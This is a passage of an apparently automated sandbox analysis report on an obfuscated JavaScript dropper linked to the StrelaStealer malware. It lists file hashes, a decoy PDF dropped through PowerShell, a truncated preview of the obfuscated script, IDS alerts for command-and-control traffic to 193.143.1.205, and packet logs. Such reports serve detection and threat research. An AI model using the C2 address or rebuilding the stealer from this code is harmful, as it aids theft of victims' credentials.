SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16412), with CRLF line terminators
Entropy (8bit):	4.894766345653221
TrID:
File name:	5405100231672716142.js
File size:	19'948 bytes
MD5:	df4c11d958aa780f7bcb40bb890e24fb
SHA1:	118b17a5dd0548f4d1d283828aff756911c0b88d
SHA256:	014cc4b0d95b05de2dc0d168bacab17b5fadbfea502be7d4f34129d9d3ff0814
SHA512:	1e2b89b0ff976834b2e03b8690afc7ed5f6098f23e1a9592b2d15c44b3ee3cba0b57bd0c7790c32084a5a9e58b3e9fedd930e78be2f8106d67efe8eafd1e4adf
SSDEEP:	384:2xVg7sGMrAbymEY6AdSrSomAzn8qF6Ik66fanZpu/P9FX7LBsLLd/yoL9Xp6akPA:2yVWf0qF6p6xnZpu/P9FX7LBsLLd/yor
TLSH:	B69253157890668AC7C812F5751741EA26B9034D1AE91928EC137C8FCA897382FE7EF9
File Content Preview:	function hhojtvxmu(){ddckckbr=[1031,3079,5127,4103,2055,3072];var jlqbus=this[ofcth+tipzz+hbsjkha+rspdghxd+kftbhyp+hdrvc+ccxnjkuia+humsijr](this[hsuapnfc+glgqnmj+pnnpn+hbsjkha+xswdofg+ofcth+humsijr][amqhfvciv+hbsjkha+kftbhyp+tipzz+humsijr+kftbhyp+npwop+cb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:15:44.098317+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	60852	193.143.1.205	80	TCP
2025-01-11T08:15:44.098317+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	60852	193.143.1.205	80	TCP
2025-01-11T08:15:46.897818+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	60864	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:15:43.288988113 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:43.293867111 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:43.293937922 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:43.297281027 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:43.302027941 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098061085 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098216057 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098251104 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098280907 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098293066 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098316908 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.098403931 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.098429918 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098442078 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098453045 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098516941 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.098516941 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.098623037 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098634005 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.098705053 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.103190899 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.103204012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.103214979 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.103283882 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.141138077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.141153097 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.141351938 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.227150917 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227214098 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227250099 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227309942 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.227425098 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227459908 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227571011 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227586985 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.227607965 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227621078 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.227643967 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.227713108 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.228205919 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.228334904 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.228372097 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.228415012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.228419065 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.228451014 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.228466034 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.229183912 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229218960 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229247093 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.229254007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229329109 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229332924 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.229363918 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229465961 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.229897976 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229954004 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.229989052 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.230066061 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.273870945 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.273931980 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.273967981 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.273993015 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.317857981 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.317923069 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.317943096 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.355783939 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355813980 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355827093 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355839968 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355853081 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355885029 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.355947971 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355962038 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.355983973 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356060028 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356079102 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356235981 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356250048 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356283903 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356322050 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356336117 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356399059 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356722116 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356735945 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356749058 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356802940 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356802940 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.356889009 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356901884 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356919050 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356931925 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.356957912 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.357068062 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.357455969 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357517958 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357531071 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357570887 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.357769012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357780933 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357793093 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357805014 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.357826948 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.357924938 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.358361006 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358426094 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358438015 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358474016 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.358549118 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.358586073 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358597994 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358608961 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358620882 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.358670950 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.358670950 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.359267950 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359328032 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359342098 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359405994 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.359498978 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359512091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359566927 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.359646082 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359667063 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.359709978 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.360162020 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.360265970 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.364371061 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.364459991 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.364483118 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.364505053 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.364517927 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.364535093 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.364569902 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.398282051 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.398303032 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.398380995 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.408416033 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.408437014 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.408451080 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.408516884 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.408548117 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.446115971 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.446139097 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.446187973 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.483896017 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.483984947 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.483998060 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484004974 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484059095 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.484164000 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484205008 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484219074 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484256029 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.484354973 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484368086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484395027 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.484500885 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484513998 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.484550953 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.485002041 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485024929 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485058069 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.485220909 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485263109 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.485291958 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485306025 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485347986 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.485433102 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485451937 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485465050 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485479116 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.485491991 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.485519886 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.486032009 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486088991 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486100912 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486145020 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.486232042 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486244917 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486265898 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486279964 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486280918 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.486303091 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.486952066 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.486994982 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.487008095 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487020969 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487060070 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.487201929 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487215042 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487229109 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487253904 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.487349987 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487389088 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.487834930 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487906933 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487917900 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.487946033 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.488116026 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488128901 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488141060 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488156080 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.488173008 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.488251925 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488806009 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488818884 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488831043 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.488843918 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.488859892 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.489023924 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489037037 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489048958 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489063025 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489072084 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.489108086 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.489772081 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489785910 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489799023 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489829063 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.489909887 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489922047 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489933968 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489947081 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.489955902 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.489986897 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.490567923 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490619898 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490628004 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.490633011 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490674973 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.490705013 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490808964 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490822077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490833998 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.490849018 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.490876913 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.491559029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491581917 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491595030 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491622925 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.491662025 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491674900 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491686106 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491698980 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.491698980 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.491727114 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.491861105 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.492372036 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.492424011 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.492490053 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.492503881 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.492527008 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.492537022 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.492546082 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.492575884 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.497344017 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.498862982 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.498886108 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.498903036 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.498944998 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.498970985 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.498985052 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.499006033 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.508676052 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.518076897 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.536936045 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.536971092 CET	80	60852	193.143.1.205	192.168.2.6
